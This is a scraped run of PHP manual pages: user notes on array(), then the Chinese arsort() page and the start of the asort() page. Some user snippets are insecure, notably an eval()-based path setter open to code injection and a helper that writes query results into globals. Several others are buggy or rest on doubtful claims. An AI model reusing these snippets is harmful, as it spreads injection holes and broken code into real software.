            $pices = '[\''.$pathtoken.'\']';
            while ($pathtoken !== false) {
                if (($pathtoken = strtok($separator)) !== false) {
                    $code .= 'if (!isset($this->data'.$pices.')) $this->data'.$pices.' = array(); ';
                    $pices .= '[\''.$pathtoken.'\']';
                } else {
                    $code .= 'return $this->data'.$pices.' = $value;';
                }
            }

            return eval($code);
        }

        public function get ($path = '', $default = null) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    if (isset($default)) {
                        return $default;
                    }

                    throw new ArrayAsPathException ('Can\'t find "'.$pathtoken.'" in "'.$path.'"');
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return $result ? $result : $default;
        }

        public function has ($path) {
            $result = $this->data;
            $separator = $this->separator;
            $pathtoken = strtok($path, $separator);

            while ($pathtoken !== false) {
                if (!isset($result[$pathtoken]) || is_string($result)) {
                    return false;
                }

                $result = $result[$pathtoken];
                $pathtoken = strtok($separator);
            }

            return true;
        }

        public function setSepatator ($separator) {
            $this->separator = $separator;
        }

        public function getSeparator ($separator) {
            return $this->separator;
        }
    }

?>

Code:
<?php

    $params = new ArrayAsPath;
    $params->set(array(
        'foo' => array(
            'bar' => array(
                'item' => 'Value'
            )
        )
    ));

    try {
        $params->set('test', 'foo.bar.far.new');
        printf(
            'Array:<pre>%s</pre>
            foo.bar.item:<pre>%s</pre>
            foo.bar.far:<pre>%s</pre>
            foo.bar.far.new<pre>%s</pre>',
            var_export($params->get(), true),
            var_export($params->get('foo.bar.item'), true),
            var_export($params->get('foo.bar.far'), true),
            var_export($params->get('foo.bar.far.new'), true)
        );
    } catch (ArrayAsPathException $e) {
        echo 'Oops! It seems that something is wrong. '.$e->getMessage();
    }

?>

Will display:
Array:
array (
  'foo' =>
  array (
    'bar' =>
    array (
      'item' => 'Value',
      'far' =>
      array (
        'new' => 'test',
      ),
    ),
  ),
)

foo.bar.item:
'Value'

foo.bar.far:
array (
  'new' => 'test',
)

foo.bar.far.new:
'test'
eugene at ultimatecms dot co dot za 03-Mar-2010 06:29
This is a useful way to get foreign key variables from a specific sql table.
This function can be used to include all relevant data from all relating tables:

<?php
function get_string_between($string, $start, $end){
         $string = " ".$string;
         $ini = strpos($string,$start);
         if($ini == 0)
                return $tbl;
         $ini += strlen($start);
         $len = strpos($string,$end,$ini) - $ini;
         return substr($string,$ini,$len);
}

function get_foreign_keys($tbl) {
        $query = query_getrow("SHOW CREATE TABLE ".mysql_escape_string($tbl));

        $dat = explode('CONSTRAINT',$query[1]);
        foreach($dat as $d => $a) {
                if(strpos($a,"FOREIGN KEY"))
                $data['keys'][] = array($tbl,get_string_between($a,"` FOREIGN KEY (`","`) REFERENCES"));
        }

        foreach($dat as $d => $a) {
                if(strpos($a,"REFERENCE"))
                $data['references'][] = explode('` (`',get_string_between($a,"REFERENCES `","`) ON"));
        }
        return $data;
}

//Example code:

        $data = get_foreign_keys('task_table');
        echo '<pre>';
        print_r($data);
        echo '</pre>';

?>

// $query[1] outputs:

CREATE TABLE `task_table` (
  `task_id` int(64) NOT NULL auto_increment,
  `ticket_id` int(64) NOT NULL,
  `task_type` varchar(64) NOT NULL,
  `comment` text,
  `assigned_to` int(11) default NULL,
  `dependant` int(64) default NULL,
  `resolved` int(1) default NULL,
  PRIMARY KEY  (`task_id`),
  KEY `ticket_id` (`ticket_id`,`dependant`),
  KEY `assigned_to` (`assigned_to`),
  KEY `task_dependant` (`dependant`),
  CONSTRAINT `task_table_ibfk_1` FOREIGN KEY (`ticket_id`) REFERENCES `tickets_table` (`ticket_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_2` FOREIGN KEY (`assigned_to`) REFERENCES `contact_table` (`contact_id`) ON DELETE CASCADE ON UPDATE CASCADE,
  CONSTRAINT `task_table_ibfk_3` FOREIGN KEY (`dependant`) REFERENCES `task_table` (`task_id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=latin1

// $data outputs:
Array (
    [keys] => Array
        (
            [0] => Array
                (
                    [0] => task_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => task_table
                    [1] => assigned_to
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => dependant
                )
        )

    [references] => Array
        (
            [0] => Array
                (
                    [0] => tickets_table
                    [1] => ticket_id
                )

            [1] => Array
                (
                    [0] => contact_table
                    [1] => contact_id
                )

            [2] => Array
                (
                    [0] => task_table
                    [1] => task_id
                )
        )
)
kamil at navikam dot pl 03-Jun-2009 03:42
Easy function to unarray an array :-)
It will make $array['something'] => $something.
Usefull for making code more clear.

example of use:
<?
function unarray($row) {
    foreach($row as $key => $value) {
        global $$key;
        $$key = $value;
    }
}

$sql = mysql_query("SELECT * FROM `pracownicy`");
while ($row = mysql_fetch_assoc($sql)) {
    unarray($row);
    echo $idpracownika.'<br>'; //instead of $row['idpracownika']
}
?>
Marcel G 27-Apr-2009 03:49
I encountered the following but didn't see it documented/reported anywhere so I'll just mentioned it here.

As written in the manual:
"When index is omitted, an integer index is automatically generated, starting at 0. If index is an integer, next generated index will be the biggest integer index + 1".

This generated index has always the largest integer used as a key so far. So adding $a[5] = 'foo'; after an $a[10] = 'bar'; will not force the next generated index to be 6 but to be 11 as 10 was the highest index encountered until here.

Anyway, the following can happen:
<?php
$max_int = 2147483647; // Max value for integer on a 32-bit system
$arr = array();

$arr[1] = 'foo'; // New generated index will be 2
$arr[ $max_int ] = 'bar'; // Caution: Next generated index will be -2147483648 due to the integer overflow!
$arr[0] = 'bar'; // The highest value should be 2147483648 but due to the i-overflow it is -2147483648 so current index 0 is larger. The new generated index therefore is 1!
$arr[]  = 'failure'; // Warning: Cannot add element to the array as the next element is already occupied.
?>
jonberglund at gmail dot com 07-Jul-2008 09:25
The following function (similar to one above) will render an array as a series of HTML select options (i.e. "<option>...</option>"). The problem with the one before is that there was no way to handle <optgroup>, so this function solves that issue.

function arrayToSelect($option, $selected = '', $optgroup = NULL)
{
    $returnStatement = '';

    if ($selected == '') {
        $returnStatement .= '<option value="" selected="selected">Select one...</option>';
    }

    if (isset($optgroup)) {
        foreach ($optgroup as $optgroupKey => $optgroupValue) {
            $returnStatement .= '<optgroup label="' . $optgroupValue . '">';

            foreach ($option[$optgroupKey] as $optionKey => $optionValue) {
                if ($optionKey == $selected) {
                    $returnStatement .= '<option selected="selected" value="' . $optionKey . '">' . $optionValue . '</option>';
                } else {
                    $returnStatement .= '<option value="' . $optionKey . '">' . $optionValue . '</option>';
                }
            }

            $returnStatement .= '</optgroup>';
        }
    } else {
        foreach ($option as $key => $value) {
            if ($key == $selected) {
                $returnStatement .= '<option selected="selected" value="' . $key . '">' . $value . '</option>';
            } else {
                $returnStatement .= '<option value="' . $key . '">' . $value . '</option>';
            }
        }
    }

    return $returnStatement;
}

 So, for example, I needed to render a list of states/provinces for various countries in a select field, and I wanted to use each country name as an <optgroup> label. So, with this function, if only a single array is passed to the function (i.e. "arrayToSelect($stateList)") then it will simply spit out a bunch of "<option>" elements. On the other hand, if two arrays are passed to it, the second array becomes a "key" for translating the first array.

Here's a further example:

$countryList = array(
    'CA'        => 'Canada',
    'US'        => 'United States');

$stateList['CA'] = array(
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'AB'        => 'Alberta',
    'BC'        => 'British Columbia',
    'MB'        => 'Manitoba',
    'NB'        => 'New Brunswick',
    'NL'        => 'Newfoundland/Labrador',
    'NS'        => 'Nova Scotia',
    'NT'        => 'Northwest Territories',
    'NU'        => 'Nunavut',
    'ON'        => 'Ontario',
    'PE'        => 'Prince Edward Island',
    'QC'        => 'Quebec',
    'SK'        => 'Saskatchewan',
    'YT'        => 'Yukon');

$stateList['US'] = array(
    'AL'        => 'Alabama',
    'AK'        => 'Alaska',
    'AZ'        => 'Arizona',
    'AR'        => 'Arkansas',
    'CA'        => 'California',
    'CO'        => 'Colorado',
    'CT'        => 'Connecticut',
    'DE'        => 'Delaware',
    'DC'        => 'District of Columbia',
    'FL'        => 'Florida',
    'GA'        => 'Georgia',
    'HI'        => 'Hawaii',
    'ID'        => 'Idaho',
    'IL'        => 'Illinois',
    'IN'        => 'Indiana',
    'IA'        => 'Iowa',
    'KS'        => 'Kansas',
    'KY'        => 'Kentucky',
    'LA'        => 'Louisiana',
    'ME'        => 'Maine',
    'MD'        => 'Maryland',
    'MA'        => 'Massachusetts',
    'MI'        => 'Michigan',
    'MN'        => 'Minnesota',
    'MS'        => 'Mississippi',
    'MO'        => 'Missouri',
    'MT'        => 'Montana',
    'NE'        => 'Nebraska',
    'NV'        => 'Nevada',
    'NH'        => 'New Hampshire',
    'NJ'        => 'New Jersey',
    'NM'        => 'New Mexico',
    'NY'        => 'New York',
    'NC'        => 'North Carolina',
    'ND'        => 'North Dakota',
    'OH'        => 'Ohio',
    'OK'        => 'Oklahoma',
    'OR'        => 'Oregon',
    'PA'        => 'Pennsylvania',
    'RI'        => 'Rhode Island',
    'SC'        => 'South Carolina',
    'SD'        => 'South Dakota',
    'TN'        => 'Tennessee',
    'TX'        => 'Texas',
    'UT'        => 'Utah',
    'VT'        => 'Vermont',
    'VA'        => 'Virginia',
    'WA'        => 'Washington',
    'WV'        => 'West Virginia',
    'WI'        => 'Wisconsin',
    'WY'        => 'Wyoming');

...

<select name="state" id="state"><?php echo arrayToSelect($stateList,'',$countryList) ?></select>
<select name="country" id="country"><?php echo arrayToSelect($countryList,'US') ?></select>
sebasg37 at gmail dot com 12-Feb-2008 11:32
Recursive function similar to print_r for describing anidated arrays in html <ol>. Maybe it's useful for someone.

<?php
function describeAnidatedArray($array)
{
    $buf = '';
    foreach($array as $key => $value)
    {
        if(is_array($value))
        {
            $buf .= '<ol>' . describeAnidatedArray($value) . '</ol>';
        }
        else
            $buf .= "<li>$value</li>";
    }
    return $buf;
}

// Example:
$array = array("a", "b", "c", array("1", "2", array("A", "B")), array("3", "4"), "d");

echo describeAnidatedArray($array);
?>

output:

# a
# b
# c

   1. 1
   2. 2
         1. A
         2. B

   1. 3
   2. 4

# d
jon hohle 16-Nov-2007 05:12
Here are shorter versions of sam barrow's functions. From a PHP perspective these are O(1) (without getting into what's going on in the interpreter), instead of O(n).

<?php
function randomKey(array $array)
{
    return randomElement(array_keys($array));
}

function randomElement(array $array)
{
    if (count($array) === 0)
    {
        trigger_error('Array is empty.',  E_USER_WARNING);
        return null;
    }

    $rand = mt_rand(0, count($array) - 1);
    $array_keys = array_keys($array);

    return $array[$array_keys[$rand]];
}
?>
Mike Mackintosh 29-Oct-2007 09:38
If you need to add an object as an array key, for example an object from Simple XML Parser, you can use the following.

File.XML
<?xml version="1.0" encoding="UTF-8"?>
<Settings type="General">
  <Setting name="SettingName">This This This</Setting>
</Settings>

The script:
<?php
$raw = $xml =  new SimpleXMLElement('File.XML');
foreach($raw->Setting as $A => $B)
{
    // Set Array From XML
    $Setting[(string) $B['name']] = (string)  $B[0];
}
?>
By telling the key to read the object as a string, it will let you set it.

Hope this helps someone out!
webmaster at phpemailformprocessor dot com 06-Aug-2006 09:48
When using an array to create a list of keys and values for a select box generator which will consist of states I found using "NULL" as an index and ""(empty value) as a value to be useful:

<?php

$states = array(
    0    => 'Select a State',
    NULL => '',
    1    => 'AL - Alabama',
    2    => 'AK - Alaska',
    # And so on ...
);

$select = '<select name="state" id="state" size="1">'."\r\n";

foreach($states as $key => $value){
    $select .= "\t".'<option value="'.$key.'">' . $value.'</option>'."\r\n";
}

$select .= '</select>';

echo $select;

?>

 This will print out:

<select name="state" id="state" size="1">
    <option value="0">Select a State</option>
    <option value=""></option>
    <option value="1">AL - Alabama</option>
    <option value="2">AK - Alaska</option>
    # And so on ...

</select>

Now a user has a blank value to select if they later decide to not provide their address in the form. The first two options will return TRUE when checked against the php function - EMPTY() after the form is submitted when processing the form
jupiter at nospam dot com 02-Jun-2006 03:33
<?php

// changes any combination of multiarray elements and subarrays
// into a consistent 2nd level multiarray, tries to preserves keys
function changeMultiarrayStructure($multiarray, $asc = 1) {
  if ($asc == 1) {  // use first subarrays for new keys of arrays
    $multiarraykeys = array_reverse($multiarray, true);
  } else {  // use the last array keys
    $multiarraykeys = $multiarray;  // use last subarray keys
  }  // end array reordering
  $newarraykeys = array();  // establish array
  foreach ($multiarraykeys as $arrayvalue) {  // build new array keys
    if (is_array($arrayvalue)) {  // is subarray an array
      $newarraykeys = array_keys($arrayvalue) + $newarraykeys;
    }  // if count(prevsubarray)>count(currentarray), extras survive
  }  // end key building loop
  foreach ($multiarray as $newsubarraykey => $arrayvalue) {
    if (is_array($arrayvalue)) {  // multiarray element is an array
      $i = 0;  // start counter for subarray key
      foreach ($arrayvalue as $subarrayvalue) {  // access subarray
        $newmultiarray[$newarraykeys[$i]][$newsubarraykey] = $subarrayvalue;
        $i++;  // increase counter
      }  // end subarray loop
    } else {  // multiarray element is a value
      foreach ($newarraykeys as $newarraykey) {  // new subarray keys
        $newmultiarray[$newarraykey][$newsubarraykey] = $arrayvalue;
      }  // end loop for array variables
    }  // end conditional
  }  // end new multiarray building loop
  return $newmultiarray;
}

// will change
$old = array('a'=>1,'b'=>array('e'=>2,'f'=>3),'c'=>array('g'=>4),'d'=>5);
// to
$new = array('e'=>array('a'=>1,'b'=>2,'c'=>4,'d'=>5),
  'f'=>array('a'=>1,'b'=>3,'d'=>5));

// note: if $asc parameter isn't default, last subarray keys used

?>

The new key/value assignment pattern is clearer with bigger arrays.
I use this to manipulate input/output data from my db. Enjoy.
bill at carneyco dot com 02-Feb-2006 08:42
I wanted to be able to control the flow of data in a loop instead of just building tables with it or having to write 500 select statements for single line items. This is what I came up with thanks to the help of my PHP brother in FL. Hope someone else gets some use out it.
<?

//set array variable
$results = array();

//talk to the db
$query = "SELECT * FROM yourtable";
$result = mysql_query($query) or die(mysql_error());

//count the rows and fields
$totalRows = mysql_num_rows($result);
$totalFields = mysql_num_fields($result);

//start the loop
for ( $i = 0; $i < $totalRows; ++$i ) {

//make it 2 dim in case you change your order
  $results[$i] = mysql_fetch_array($result);

//call data at will controlling the loop with the array
echo $results[your_row_id]['your_field_name']; }

//print the entire array to see what lives where
print_r($results);  ?>
php 07-Jan-2006 03:30
This function converts chunks of a string in an array:

function array_str($str, $len) {
  $newstr = '';
  for($i = 0; $i < strlen($str); $i++) {
    $newstr .= substr($str, $i, $len);
  }
  return $newstr;
}

use it as:

$str = "abcdefghilmn";
echo "<table width=\"100%\">\n";
foreach(array_str($str, 4) as $chunk) {
  echo "<tr><td>".$chunk."</td></tr>\n";
}
echo "</table>";

this prints:

------
abcd
------
efgh
------
ilmn
------

It don't use regular expressions. Please add this function to php :)
matthiasDELETETHIS at ansorgs dot de 31-May-2005 02:52
How to use array() to create an array of references rather than of copies? (Especially needed when dealing with objects.) I played around somewhat and found a solution: place & before the parameters of array() that shall be references. My PHP version is 4.3.10.

Demonstration:

<?php
$ref1 = 'unchanged';
$ref2 = & $ref1;

$array_of_copies = array($ref1, $ref2);
print_r($array_of_copies); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_copies[0] = 'changed'; // $ref1 = 'changed'; is not equivalent, as it was _copied_ to the array
print_r($array_of_copies); // prints: Array ( [0] => changed [1] => unchanged )

$array_of_refs = array(& $ref1, & $ref2); // the difference: place & before arguments
print_r($array_of_refs); // prints: Array ( [0] => unchanged [1] => unchanged )
$array_of_refs[0] = 'changed'; // $ref1 = 'changed'; is equivalent as $array_of_refs[0] references $ref1
print_r($array_of_refs, true); // prints: Array ( [0] => changed [1] => changed )
?>
aissatya at yahoo dot com 16-May-2005 01:48
<?php

$foo = array('bar' => 'baz');
echo "Hello {$foo['bar']}!"; // Hello baz!

?>
<?php
$firstquarter = array(1 => 'January', 'February', 'March');
print_r($firstquarter);
?>
<?php
$fruits = array (
   "fruits"  => array("a" => "orange", "b" => "banana", "c" => "apple"),
   "numbers" => array(1, 2, 3, 4, 5, 6),
   "holes"  => array("first", 5 => "second", "third")
);
?>
brian at blueeye dot us 21-Apr-2005 05:34
If you need, for some reason, to create variable Multi-Dimensional Arrays, here's a quick function that will allow you to have any number of sub elements without knowing how many elements there will be ahead of time. Note that this will overwrite an existing array value of the same path.

<?php
// set_element(array path, mixed value)
function set_element(&$path, $data) {
    return ($key = array_pop($path)) ? set_element($path, array($key=>$data)) : $data;
}
?>

For example:

<?php
echo "<pre>";
$path = array('base', 'category', 'subcategory', 'item');
$array = set_element($path, 'item_value');
print_r($array);
echo "</pre>";
?>

Will display:
Array
(
    [base] => Array
        (
            [category] => Array
                (
                    [subcategory] => Array
                        (
                            [item] => item_value
                        )
                )
        )
)
mortoray at ecircle-ag dot com 18-Feb-2005 05:35
Be careful if you need to use mixed types with a key of 0 in an array, as several distinct forms end up being the same key:

$a = array();
$a[null] = 1;
$a[0] = 2;
$a['0'] = 3;
$a["0"] = 4;
$a[false] = 5;
$a[0.0] = 6;
$a[''] = 7;
$a[] = 8;

print_r( $a );

This will print out only 3 values: 6, 7, 8.
rdude at fuzzelish dot com 17-Feb-2005 01:35
If you are creating an array with a large number of static items, you will find serious performance differences between using the array() function and the $array[] construct. For example:
<?
 // Slower method
 $my_array = array(1, 2, 3, ? 500);

 // Faster method
 $my_array[] = 1;
 $my_array[] = 2;
 $my_array[] = 3;
 ?
 $my_array[] = 500;
?>
phpm at nreynolds dot me dot uk 11-Jan-2005 08:24
This helper function creates a multi-dimensional array. For example, creating a three dimensional array measuring 10x20x30: <?php $my_array = multi_dim(10, 20, 30); ?>

<?php

function multi_dim()
{
    $fill_value = null;

    for ($arg_index = func_num_args() - 1; $arg_index >= 0; $arg_index--) {
        $dim_size = func_get_arg($arg_index);
        $fill_value = array_fill(0, $dim_size, $fill_value);
    }

    return $fill_value;
}

?>
baZz 16-Oct-2003 03:27
Chek this out!!!. Suppose that you want to create an array like the following:
<?php
  $arr1 = (
    0 => array ("customer"=>"Client 1","Item a"),
    1 => array ("customer"=>"Client 2","Item b")
  );
?>
Seems prety easy, but what if you want to generate it dinamically woops!!!.  Imagine that you have a file with thousands of lines and each line is a purchase order from diferent clients:
<?php
/*function to add elements*/
function addArray(&$array, $id, $var)
{
    $tempArray = array( $var => $id);
    $array = array_merge ($array, $tempArray);
}
/*The same as above but the element is an array*/
function addArrayArr(&$array, $var, &$array1)
{
    $tempArray = array($var => $array1);
    $array = array_merge ($array, $tempArray);
}
/*labels of our array or heders of the file*/
$keyarr = array("customer","item");
/*info that may you read from a file line 1 and 2*/
$valarr0 = array("Client 1","Item a");
$valarr1 = array("Client 2","Item b");

$numofrows = 2;/*In our case is just two lines*/
$tmpArray = array();
for($i = 0; $i < $numofrows; $i++){
  $tmp = "valarr$i";
  $tmpvar = ${$tmp};/*Using var of vars tricky tricky*/
  foreach( $keyarr as $key=>$value){
    addArray($tmparr,$tmpvar[$key],$value);
  }
  addArrayArr($finalarr,$i,$tmparr);
} /*voila all it's perfectly ordered on finalarr*/

/*Here we just print the info but you can insert it into a database*/
echo "Customer: ".$finalarr[0]["customer"]."<br>";
echo "Item: ".$finalarr[0]["item"]."<br>";
echo "Customer: ".$finalarr[1]["customer"]."<br>";
echo "Item: ".$finalarr[1]["item"]."<br>";
?>

The lines above should print something like:
Customer: Client 1
Item: Item a
Customer: Client 2
Item: Item b
I hope someone find this useful.
TCross1 at hotmail dot com 03-Sep-2003 12:38
here is the sort of "textbook" way to output the contents of an array which avoids using foreach() and allows you to index & iterate through the array as you see fit:

<?php

$arrayName = array("apples", "bananas", "oranges", "pears");
$arrayLength = count($arrayName);

for ($i = 0; $i < $arrayLength; $i++){
    echo "arrayName at[" . $i . "] is: [" .$arrayName[$i] . "]<br>\n";
}

?>

enjoy!

-tim
10-May-2003 03:53
Similarly to a comment by stlawson at sbcglobal dot net on this page:
http://www.php.net/basic-syntax.instruction-separation

It is usually advisable to define your arrays like this:
$array = array(
     'foo',
     'bar',
);

Note the comma after the last element - this is perfectly legal. Moreover,
it's best to add that last comma so that when you add new elements to the
array, you don't have to worry about adding a comma after what used to be
the last element.

<?php
$array = array(
     'foo',
     'bar',
     'baz',
);
?>
marcel at labor-club dot de 24-Feb-2003 07:58
i tried to find a way to create BIG multidimensional-arrays. but the notes below only show the usage of it, or the creation of small arrays like $matrix=array('birne', 'apfel', 'beere');

for an online game, i use a big array (50x80) elements.
it's no fun, to write the declaration of it in the ordinary way.

here's my solution, to create an 2d-array, filled for example with raising numbers.

<?php
$matrix=array();
$sx=30;
$sy=40;
$i=1;
for ($y=0; $y<$sy; $y++)
{
    array_push($matrix,array());
    for ($x=0; $x<$sx; $x++)
    {
        array_push($matrix[$y],array());
        $matrix[$x][$y]=$i;
        $i++;
    }
}
?>

if there is a better way, plz send an email. i always want to learn more php!
MadLogic at Paradise dot net dot nz 31-Oct-2002 02:39
Heres a simple yet intelligent way of setting an array, grabbing the values from the array using a loop.

<?php
$ary = array("1"=>'One','Two',"3"=>'Three');
$a = '0'; $b = count($ary);
while ($a <= $b) {
  $pr = $ary[$a];
  print "$pr<br>";
  $a++;
}
?>
mads at __nospam__westermann dot dk 23-Oct-2002 07:39
In PHP 4.2.3 (and maybe earlier versions) arrays with numeric indexes may be initialized to start at a specific index and then automatically increment the index. This will save you having to write the index in front of every element for arrays that are not zero-based.

The code:

<?php
                  $a = array
        (
            21    => 1,
            2,
            3,
        );
    print '<pre>';
    print_r($a);
    print '</pre>';
?>

will print:

<?php
Array
(
    [21] => 1
    [22] => 2
    [23] => 3
)
?>
John 18-Jul-2002 11:48
Be careful not to create an array on top of an already existing variable:

<?php
$name = "John";
$name['last'] = "Doe";
?>

$name becomes "Dohn" since 'last' evaluates to the 0th position of $name.
Same is true for multi-arrays.
jay at ezlasvegas dot net 20-Apr-2002 04:21
If you want to create an array of a set size and you have PHP4, use
array_pad(array(), $SIZE, $INITIAL_VALUE); This can be handy if you wish
to initialize a bunch of variables at once:

list($Var1, $Var2, etc) = array_pad(array(), $NUMBER_OF_VARS,
$INITIAL_VALUE);

Jay Walker
Las Vegas Hotel Associate
http://www.ezlasvegas.net
jjm152 at hotmail dot com 10-Mar-2002 06:22
The easiest way to "list" the values of either a normal 1 list array or a multi dimensional array is to use a foreach() clause.

Example for 1 dim array:

<?php
   $arr = array( 1, 2, 3, 4, 5 );
   foreach ( $arr as $val ) {
       echo "Value: $Val\n";
      }
?>

For multi dim array:

<?php
     $arr = array( 1 => 'one', 2 => 'two', 3 => 'three', 4 => 'four, 5 => 'five');
      foreach ( $arr as $key => $value ) {
       echo "Key: $key, Value: $value\n";
      }
?>

This is quite possibly the easiest way i've found to iterate through an array.
tobiasquinteiro at ig dot com dot br 29-Jan-2002 12:25
<?
        // This is a small script that shows how to use an multiple array
        for($x = 0;$x < 10;$x++){
                for($y = 0;$y < 10;$y++){
                        $mat[$x][$y] = "$x,$y";
                }
        }

        for($x = 0;$x < count($mat);$x++){
                for($y = 0;$y < count($mat[$x]);$y++){
                        echo    "mat[$x][$y]: " .
                                $mat[$x][$y] . " ";
                }
                echo "\n";
        }
?>
joshua dot e at usa dot net 24-May-2001 11:12
Here's a cool tip for working with associative arrays-
Here's what I was trying to accomplish:

I wanted to hit a DB, and load the results into an associative array, since I only had key/value pairs returned. I loaded them into an array, because I wanted to manipulate the data further after the DB select, but I didn't want to hit the DB more than necessary.

Here's how I did it:

<?php
//assume db connectivity
//load it all into the associative array
$sql = "SELECT key,value FROM table";
$result = mysql_query($sql);
while($row = mysql_fetch_row($result)) {
$myArray[$row[0]] = $row[1];
}
//now we expand it
while(list($key,$value) = each($myArray)) {
echo "$key : $value";
}
?>

I found this to be super efficient, and extremely cool.
slicky at newshelix dot com 20-Mar-2001 01:57
Notice that you can also add arrays to other arrays with the $array[] "operator" while the dimension doesn't matter.

Here's an example:
$x[w][x] = $y[y][z];
this will give you a 4dimensional assosiative array.
$x[][] = $y[][];
this will give you a 4dimensional non assosiative array.

So let me come to the point. This get interessting for shortening things up. For instance:

<?php
        foreach ($lines as $line){
            if(!trim($line)) continue;
            $tds[] = explode("$delimiter",$line);
        }
?>
rubein at earthlink dot net 26-Sep-2000 11:07
Multidimensional arrays are actually single-dimensional arrays nested inside other single-dimensional arrays.

$array[0] refers to element 0 of $array
$array[0][2] refers to element 2 of element 0 of $array.

If an array was initialized like this:

$array[0] = "foo";
$array[1][0] = "bar";
$array[1][1] = "baz";
$array[1][2] = "bam";

then:
is_array($array) = TRUE
is_array($array[0]) = FALSE
is_array($array[1]) = TRUE
count($array) = 2 (elements 0 and 1)
count($array[1] = 3 (elements 0 thru 2)

This can be really useful if you want to return a list of arrays that were stored in a file or something:

$array[0] = unserialize($somedata);
$array[1] = unserialize($someotherdata);

if $somedata["foo"] = 42 before it was serialized previously, you'd now have this:
$array[0]["foo"] = 42


对数组进行降向排序并保持索引关系

  • ? array
  • asort ?
  • PHP Manual
  • 数组 函数
  • 对数组进行降向排序并保持索引关系

arsort

(PHP 4, PHP 5, PHP 7, PHP 8)

arsort — 对数组进行降向排序并保持索引关系

说明

arsort(array &$array, int $flags = SORT_REGULAR): true

对 array 本身按照降序排序，并保持数组的键与值之间的关联。

主要用于对那些单元顺序很重要的结合数组进行排序。

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

示例

Example #1 arsort() 示例

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
arsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>

以上示例会输出：

a = orange
d = lemon
b = banana
c = apple

fruits 被按照字母顺序逆向排序，并且单元的索引关系不变。

参见

  • sort() - 对数组升序排序
  • asort() - 对数组进行升序排序并保持索引关系
  • 数组排序函数对比

User Contributed Notes

stephenakins at gmail dot com 09-Jun-2017 01:25
I have two servers; one running 5.6 and another that is running 7.  Using this function on the two servers gets me different results when all of the values are the same.

<?php

$list = json_decode('{"706":2,"703":2,"702":2,"696":2,"658":2}', true);

print_r($list);

arsort($list);
echo "<br>";

print_r($list);

?>

PHP 5.6 results:
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
Array ( [658] => 2 [696] => 2 [702] => 2 [703] => 2 [706] => 2 )

PHP 7 results:
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
Array ( [706] => 2 [703] => 2 [702] => 2 [696] => 2 [658] => 2 )
sebas2day 07-May-2012 02:52
If you are dealing with a multidimensional array you want to sort, then this might be helpfull:

<?php
function array_sort($arr){
    if(empty($arr)) return $arr;
    foreach($arr as $k => $a){
        if(!is_array($a)){
            arsort($arr); // could be any kind of sort
            return $arr;
        }else{
            $arr[$k] = array_sort($a);
        }
    }
    return $arr;
}
?>
FatBat 13-Oct-2011 01:40
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>
jordancdarwin at googlemail dot com 15-Dec-2007 02:21
A lot of people seem to trip up on this and ask me questions as to debugging. Bear in mind that this returns boolean, and does not return an array of affected items.

$array = array("One"=>1, "Three" => 3,"Two" =>2);
print_r(asort($array));

If successful, will return 1, and error if there is a string used. Useful to note so then people stop asking me :D
rodders_plonker at yahoo dot com 21-Aug-2000 06:43
I was having trouble with the arsort() function on an older version of PHP which was returning an error along the lines of 'wrong perameter count for function arsort' when I tried to use a flag for numeric sorting (2/SORT_NUMERIC).
I figured, as I only wanted to sort integers, I could pad numbers from the left to a specific length with 0's (using the lpad function provided by improv@magma.ca in the notes at http://www.php.net/manual/ref.strings.php).
A string sort then correctly sorts numerically (i.e. {30,2,10,21} becomes {030,021,010,002} not {30,21,2,10}) when echoing the number an (int)$string_name hides the leading 0's.

Made my day :).

Rodders.
morgan at anomalyinc dot com 24-Nov-1999 07:30
If you need to sort a multi-demension array, for example, an array such as

$TeamInfo[$TeamID]["WinRecord"]
$TeamInfo[$TeamID]["LossRecord"]
$TeamInfo[$TeamID]["TieRecord"]
$TeamInfo[$TeamID]["GoalDiff"]
$TeamInfo[$TeamID]["TeamPoints"]

and you have say, 100 teams here, and want to sort by "TeamPoints":

first, create your multi-dimensional array. Now, create another, single dimension array populated with the scores from the first array, and with indexes of corresponding team_id... ie
$foo[25] = 14
$foo[47] = 42
or whatever.
Now, asort or arsort the second array.
Since the array is now sorted by score or wins/losses or whatever you put in it, the indices are all hoopajooped.
If you just walk through the array, grabbing the index of each entry, (look at the asort example. that for loop does just that) then the index you get will point right back to one of the values of the multi-dimensional array.
Not sure if that's clear, but mail me if it isn't...
-mo


对数组进行升序排序并保持索引关系

  • ? arsort
  • compact ?
  • PHP Manual
  • 数组 函数
  • 对数组进行升序排序并保持索引关系

asort

(PHP 4, PHP 5, PHP 7, PHP 8)

asort — 对数组进行升序排序并保持索引关系

说明

asort(array &$array, int $flags = SORT_REGULAR): true

